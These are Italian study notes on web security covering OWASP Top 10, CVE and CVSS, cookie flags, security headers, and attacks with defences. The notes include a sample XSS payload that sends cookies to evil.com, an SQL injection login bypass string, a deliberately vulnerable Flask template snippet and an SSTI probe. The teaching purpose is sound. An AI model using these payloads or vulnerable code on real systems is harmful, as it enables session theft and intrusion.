Appunti sulla Sicurezza Web (35-Sicurezza-inverted.txt)

Introduzione

- **Web Security**: Pratica di protezione dei siti web da accessi, utilizzi, modifiche, distruzioni o interruzioni non autorizzati (definizione MDN).
- **Applicazioni Web**: Componenti principali:
  - **Client**: Interagisce con l'utente.
  - **Server**: Elabora le richieste.
  - **Canale di Comunicazione**: Tipicamente Internet, protocollo HTTP(S).

Tipi di Attacchi

- **Classificazione**:
  - **Client Side**: Eseguiti nel browser dell'utente.
  - **Server Side**: Eseguiti sul server.
  - **Network**: Attacchi al canale di comunicazione.
- **Esempi di attacchi (per livello)**:
  - **Client**: CSRF, Clickjacking, HTML Injection, XSS, Cache Poisoning.
  - **Network**: Eavesdropping, MITM, Packet-Dropping, DDoS.
  - **Server**: IDOR, Subdomain takeover, SSTI, SQL Injection, RCE, XXE.

OWASP Top 10 (2021)

- **Cos'è**: Lista delle vulnerabilità web più comuni, mantenuta da OWASP (Open Web Application Security Project).
- **Vulnerabilità principali**:
  1. **Broken Access Control**: Accesso non autorizzato a risorse.
  2. **Cryptographic Failures**: Errori nella crittografia.
  3. **Injection**: Inserimento di codice dannoso (es. SQL, NoSQL, OS).
  4. **Insecure Design**: Errori di progettazione (es. recupero password).
  5. **Security Misconfiguration**: Configurazioni non sicure.
  6. **Vulnerable and Outdated Components**: Uso di componenti vulnerabili/obsoleti.
  7. **Identification and Authentication Failures**: Errori in autenticazione/identificazione.
  8. **Software and Data Integrity Failures**: Mancanza di controlli sull'integrità.
  9. **Security Logging and Monitoring Failures**: Logging/monitoraggio insufficiente.
  10. **Server-Side Request Forgery (SSRF)**: Indurre il server a richieste non sicure.

Security by Obscurity

- **Concetto**: Nascondere dettagli di implementazione come metodo di protezione.
- **Criticità**: Strategia errata, non protegge da attacchi sofisticati, rende difficile la manutenzione.

CVE (Common Vulnerabilities and Exposures)

- **Definizione**: Elenco di vulnerabilità pubblicamente divulgate, gestito da MITRE.
- **CVE ID**: Identificatore univoco per ogni vulnerabilità (es. CVE-2021-44228).
  - Assegnato da CNA (CVE Numbering Authority): MITRE, aziende (Microsoft, Oracle, etc.), CERT.

- **Struttura CVE ID**: `CVE-[Anno]-[Numero progressivo]`.

CVSS (Common Vulnerability Scoring System)

- **Definizione**: Sistema per valutare la gravità di una vulnerabilità (punteggio numerico).
- **Versioni**: CVSS 3.1 è la più diffusa.
- **Calcolo**: Basato su parametri come impatto su Confidentiality, Integrity, Availability (il danno è il fattore principale).
- **Calcolatore**: https://www.first.org/cvss/calculator/3.1

Attacchi Specifici e Prevenzione

1. SQL Injection

- **Impatto**: Accesso, Utilizzo, Modifica, Distruzione, Interruzione.
- **Tipo**: Server Side.
- **Descrizione**: Manipolazione delle query SQL inviate al database a causa di input non validati.
- **Esempio**: In un form di login, inserire `admin' --` come username per bypassare l'autenticazione.
- **Blind SQL Injection**: L'attaccante non vede direttamente i risultati, ma deduce l'esito dal comportamento del sito (errori, tempi di risposta).
- **Prevenzione**:
  - **Prepared Statements**: Separare i dati dalle istruzioni SQL, inserendo i valori dei parametri solo al momento dell'esecuzione.
  - Esempio (Python + SQLite3):

```
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (input_username, input_password))
```

2. Cross-Site Scripting (XSS)

- **Impatto**: Accesso, Utilizzo, Modifica, Distruzione, Interruzione.
- **Tipo**: Client Side.
- **Descrizione**: Iniezione di script malevoli in pagine web visualizzate da altri utenti (input non filtrato).
- **Esempio**: Inserire codice JavaScript in un campo di descrizione di un profilo utente:

```
<script>
fetch("https://evil.com/steal_cookies?cookie=" + document.cookie);
</script>
```

- **Prevenzione**:
  - **Sanitizzazione e Validazione dell'Input**: Usare funzioni di escape HTML per neutralizzare tag e caratteri speciali.
  - **Content Security Policy (CSP)**: Limitare le risorse che il browser può caricare.
  - Usare `textContent` invece di `innerHTML` per impostare il contenuto di un elemento.

3. Insecure Direct Object Reference (IDOR)

- **Impatto**: Accesso, Utilizzo, Modifica, Distruzione.
- **Tipo**: Server Side.
- **Descrizione**: Accesso a risorse (file, API) senza adeguato controllo degli accessi.

- **Esempio**: Modificare l'ID di un file in un URL per accedere a file di altri utenti: `https://piattaforma.com/file?id=123` -> `https://piattaforma.com/file?id=456`.
  Include: Local File Inclusion (LFI), Remote File Inclusion (RFI) e Path Traversal.
- **Prevenzione**:
  - **Controllo degli Accessi Basato su Ruoli**: Definire chiaramente chi può accedere a cosa.
  - **Meccanismi di Autenticazione Sicuri**: Usare librerie e pacchetti testati.

4. Server Side Template Injection (SSTI)

- **Impatto**: Accesso, Utilizzo, Modifica, Distruzione, Interruzione.
- **Tipo**: Server Side.
- **Descrizione**: Input utente non filtrato incorporato in un template di rendering (Jinja2, Twig, etc.), permettendo l'esecuzione di codice lato server.
- **Esempio (Flask + Jinja2)**: Codice vulnerabile: `python from flask import Flask, render_template_string, request app = Flask(__name__) @app.route('/message') def show_message(): return render_template_string("<div>%s</div>" % request.args.get("message")) if __name__ == '__main__': app.run(debug=True)`
  Attacco: Inserire `{{config}}` nel messaggio per visualizzare le variabili d'ambiente.
- **Prevenzione**:
  - **Sanitizzazione dell'Input**: Filtrare l'input utente prima di usarlo nei template.
  - **Usare Funzioni Sicure**: `render_template` di Flask/Jinja2.
  - Evitare soluzioni "fatte in casa". Usare sempre librerie testate e sicure.

Sicurezza dei Cookie

- **Tag di Sicurezza**:
  - **`Secure`**: Trasmissione del cookie solo su HTTPS.
  - **`HttpOnly`**: Impedisce l'accesso al cookie tramite JavaScript (protezione da XSS).
  - **`SameSite`**: Specifica se il cookie deve essere inviato con richieste cross-site.
    - `Strict`: Nessuna richiesta cross-site.
    - `Lax`: Solo richieste cross-site generate da azioni dell'utente.
    - `None`: Tutte le richieste cross-site.

Header di Sicurezza

- **Funzione**: Aumentano la sicurezza contro vulnerabilità lato client.
- **Header Principali**:
  - **`Strict-Transport-Security (HSTS)`**: Forza il browser a usare HTTPS.
    - `max-age=31536000; includeSubDomains; preload` (valori consigliati da OWASP).
  - **`Content-Security-Policy (CSP)`**: Definisce le origini da cui caricare risorse (previene XSS).
    - Complesso, varia da caso a caso.
    - Strumenti: MDN, CSP evaluator.
  - **`X-Frame-Options`**: Impedisce/permette l'incorporamento della pagina in un `<iframe>` (previene clickjacking).
    - `DENY` (consigliato) o `SAMEORIGIN`.
  - **`Referrer-Policy`**: Controlla come il browser trasmette l'header `Referer`.
    - `strict-origin-when-cross-origin` (consigliato).

- **`Permissions-Policy`**: Abilita/disabilita funzionalità del browser (fotocamera, microfono, etc.).
  - Esempio: `Permissions-Policy: geolocation=(), camera=(), microphone=()`.
- **`X-Content-Type-Options`**: Impedisce al browser di interpretare il MIME type in base al contenuto (previene MIME sniffing).
  - `X-Content-Type-Options: nosniff`.
- **`Content-Type`**: Specifica il tipo di supporto della risorsa. Fondamentale per avere una corretta interpretazione del contenuto.
- **`Access-Control-Allow-Origin`**: Specifica quali domini possono fare richieste cross-origin (protezione da CSRF).
  - La configurazione dipende dal sito.
- **`X-DNS-Prefetch-Control`**: Controlla il prefetching DNS.
  - `X-DNS-Prefetch-Control: off` (per disabilitarlo).